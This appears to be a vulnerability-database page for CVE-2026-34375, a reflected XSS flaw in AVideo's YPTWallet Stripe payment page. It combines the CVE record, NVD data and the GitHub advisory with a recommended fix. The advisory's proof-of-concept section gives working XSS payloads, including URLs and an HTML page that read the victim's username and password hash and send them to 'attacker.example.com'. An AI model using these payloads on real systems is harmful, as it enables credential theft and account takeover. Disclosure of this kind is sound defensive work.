Vulnerability-Lookup

CVE-2026-34375 (GCVE-0-2026-34375)

Vulnerability from cvelistv5 – Published: 2026-03-27 18:17 – Updated: 2026-03-31 13:36

Title

AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page

Summary

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST['plugin']` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework's input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user. The same script block also outputs the current user's username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials. Commit fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2 fixes the issue.

Severity ?

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
	https://github.com/WWBN/AVideo/commit/fa0bc102493…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 26.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34375",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-31T13:36:30.924256Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-31T13:36:50.491Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST[\u0027plugin\u0027]` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework\u0027s input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user. The same script block also outputs the current user\u0027s username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials. Commit fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-27T18:17:32.604Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768"
        },
        {
          "name": "https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2"
        }
      ],
      "source": {
        "advisory": "GHSA-pm37-62g7-p768",
        "discovery": "UNKNOWN"
      },
      "title": "AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34375",
    "datePublished": "2026-03-27T18:17:32.604Z",
    "dateReserved": "2026-03-27T13:43:14.369Z",
    "dateUpdated": "2026-03-31T13:36:50.491Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-34375\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-27T19:16:43.107\",\"lastModified\":\"2026-03-31T18:48:56.307\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST[\u0027plugin\u0027]` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework\u0027s input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user. The same script block also outputs the current user\u0027s username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials. Commit fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2 fixes the issue.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N\",\"baseScore\":8.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":4.7}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-79\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"26.0\",\"matchCriteriaId\":\"774C24F1-9D26-484F-B931-1DA107C8F588\"}]}]}],\"references\":[{\"url\":\"https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-34375\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-31T13:36:30.924256Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-31T13:36:39.704Z\"}}], \"cna\": {\"title\": \"AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page\", \"source\": {\"advisory\": \"GHSA-pm37-62g7-p768\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 8.2, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"WWBN\", \"product\": \"AVideo\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c= 26.0\"}]}], \"references\": [{\"url\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768\", \"name\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2\", \"name\": \"https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST[\u0027plugin\u0027]` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework\u0027s input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user. The same script block also outputs the current user\u0027s username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials. Commit fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2 fixes the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-79\", \"description\": \"CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-27T18:17:32.604Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-34375\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-31T13:36:50.491Z\", \"dateReserved\": \"2026-03-27T13:43:14.369Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-27T18:17:32.604Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-34375

Vulnerability from fkie_nvd - Published: 2026-03-27 19:16 - Updated: 2026-03-31 18:48

Severity ?

8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2	Patch
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST[\u0027plugin\u0027]` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework\u0027s input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user. The same script block also outputs the current user\u0027s username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials. Commit fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2 fixes the issue."
    }
  ],
  "id": "CVE-2026-34375",
  "lastModified": "2026-03-31T18:48:56.307",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-27T19:16:43.107",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-PM37-62G7-P768

Vulnerability from github – Published: 2026-03-30 18:08 – Updated: 2026-03-30 18:08

Summary

AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page

Details

Summary

The YPTWallet Stripe payment confirmation page directly echoes the $_REQUEST['plugin'] parameter into a JavaScript block without any encoding or sanitization. The plugin parameter is not included in any of the framework's input filter lists defined in security.php, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.

The same script block also outputs the current user's username and password hash via User::getUserName() and User::getUserPass(), meaning a successful XSS exploitation can immediately exfiltrate these credentials.

Details

The Stripe confirmation page renders the plugin parameter directly into a <script> block:

// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",

This appears inside a $.ajax() data object within a <script> tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.

The plugin parameter is not present in any of the sanitization or filtering arrays in security.php, so it arrives completely unmodified.

Immediately adjacent to the injection point, the script also exposes user credentials:

// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118
"user": "<?php echo User::getUserName() ?>",
"pass": "<?php echo User::getUserPass(); ?>",

No Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.

Proof of Concept

The XSS is reachable through the addFunds.php page which includes the vulnerable confirmButton.php template:

https://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*

The injected value closes the JSON string and the $.ajax() call, then executes alert(document.domain). The response contains the payload unencoded in the script block:

"plugin": ""}})});alert(document.domain);console.log({/*",

Credential exfiltration payload:

https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.*?"(.*?)"/)[1]),y:"

Simplified credential theft using the same-page credential leak:

<!-- Host this on attacker.example.com and send the link to a victim -->
<html>
<body>
<script>
  // The confirmButton.php page outputs user/pass in the script block.
  // XSS lets us read it directly.
  var payload = encodeURIComponent(
    '",x:(function(){' +
    'var s=document.querySelector("script").textContent;' +
    'var u=s.match(/"user":"([^"]+)"/)[1];' +
    'var p=s.match(/"pass":"([^"]+)"/)[1];' +
    'new Image().src="https://attacker.example.com/log?u="+u+"&p="+p;' +
    '})(),y:"'
  );
  window.location = "https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=" + payload;
</script>
</body>
</html>

Reproduction steps:

Navigate to the basic XSS URL above (substitute your target instance).
Observe the JavaScript alert box confirming code execution.
View the page source to confirm that User::getUserName() and User::getUserPass() are present in the same script block.
Use the credential exfiltration payload to demonstrate data theft.

Impact

An attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:

Immediate credential theft: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests.
Session hijacking: Steal session cookies and impersonate the victim.
Payment manipulation: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions.
Account takeover: Combine the stolen password hash with the username for offline cracking or direct replay.

The lack of CSP headers means there are no browser-side mitigations against the injected scripts.

CWE: CWE-79 (Cross-Site Scripting - Reflected)
Severity: High (CVSS 8.1)

Recommended Fix

Apply htmlspecialchars() to the plugin parameter at plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116:

// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
// Before:
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",

// After:
"plugin": "<?php echo htmlspecialchars(@$_REQUEST['plugin'], ENT_QUOTES, 'UTF-8'); ?>",

Found by aisafe.io

Severity ?

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T18:08:52Z",
    "nvd_published_at": "2026-03-27T19:16:43Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST[\u0027plugin\u0027]` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework\u0027s input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.\n\nThe same script block also outputs the current user\u0027s username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials.\n\n## Details\n\nThe Stripe confirmation page renders the `plugin` parameter directly into a `\u003cscript\u003e` block:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116\n\"plugin\": \"\u003c?php echo @$_REQUEST[\u0027plugin\u0027]; ?\u003e\",\n```\n\nThis appears inside a `$.ajax()` data object within a `\u003cscript\u003e` tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.\n\nThe `plugin` parameter is not present in any of the sanitization or filtering arrays in `security.php`, so it arrives completely unmodified.\n\nImmediately adjacent to the injection point, the script also exposes user credentials:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118\n\"user\": \"\u003c?php echo User::getUserName() ?\u003e\",\n\"pass\": \"\u003c?php echo User::getUserPass(); ?\u003e\",\n```\n\nNo Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.\n\n## Proof of Concept\n\nThe XSS is reachable through the `addFunds.php` page which includes the vulnerable `confirmButton.php` template:\n\n```\nhttps://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*\n```\n\nThe injected value closes the JSON string and the `$.ajax()` call, then executes `alert(document.domain)`. The response contains the payload unencoded in the script block:\n\n```javascript\n\"plugin\": \"\"}})});alert(document.domain);console.log({/*\",\n```\n\nCredential exfiltration payload:\n\n```\nhttps://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=\",x:fetch(\u0027https://attacker.example.com/steal?\u0027+document.querySelector(\u0027script\u0027).textContent.match(/pass.*?\"(.*?)\"/)[1]),y:\"\n```\n\nSimplified credential theft using the same-page credential leak:\n\n```html\n\u003c!-- Host this on attacker.example.com and send the link to a victim --\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\n  // The confirmButton.php page outputs user/pass in the script block.\n  // XSS lets us read it directly.\n  var payload = encodeURIComponent(\n    \u0027\",x:(function(){\u0027 +\n    \u0027var s=document.querySelector(\"script\").textContent;\u0027 +\n    \u0027var u=s.match(/\"user\":\"([^\"]+)\"/)[1];\u0027 +\n    \u0027var p=s.match(/\"pass\":\"([^\"]+)\"/)[1];\u0027 +\n    \u0027new Image().src=\"https://attacker.example.com/log?u=\"+u+\"\u0026p=\"+p;\u0027 +\n    \u0027})(),y:\"\u0027\n  );\n  window.location = \"https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=\" + payload;\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nReproduction steps:\n\n1. Navigate to the basic XSS URL above (substitute your target instance).\n2. Observe the JavaScript alert box confirming code execution.\n3. View the page source to confirm that `User::getUserName()` and `User::getUserPass()` are present in the same script block.\n4. Use the credential exfiltration payload to demonstrate data theft.\n\n## Impact\n\nAn attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:\n\n- **Immediate credential theft**: The page already renders the victim\u0027s username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests.\n- **Session hijacking**: Steal session cookies and impersonate the victim.\n- **Payment manipulation**: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions.\n- **Account takeover**: Combine the stolen password hash with the username for offline cracking or direct replay.\n\nThe lack of CSP headers means there are no browser-side mitigations against the injected scripts.\n\n- **CWE**: CWE-79 (Cross-Site Scripting - Reflected)\n- **Severity**: High (CVSS 8.1)\n\n## Recommended Fix\n\nApply `htmlspecialchars()` to the `plugin` parameter at `plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116`:\n\n```php\n// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116\n// Before:\n\"plugin\": \"\u003c?php echo @$_REQUEST[\u0027plugin\u0027]; ?\u003e\",\n\n// After:\n\"plugin\": \"\u003c?php echo htmlspecialchars(@$_REQUEST[\u0027plugin\u0027], ENT_QUOTES, \u0027UTF-8\u0027); ?\u003e\",\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-pm37-62g7-p768",
  "modified": "2026-03-30T18:08:52Z",
  "published": "2026-03-30T18:08:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pm37-62g7-p768"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34375"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/fa0bc102493a15d79fe03f86c07ab7ca1b5b63e2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-34375 (GCVE-0-2026-34375)

FKIE_CVE-2026-34375

GHSA-PM37-62G7-P768

Summary

Details

Proof of Concept

Impact

Recommended Fix

Tags

Sightings

Nomenclature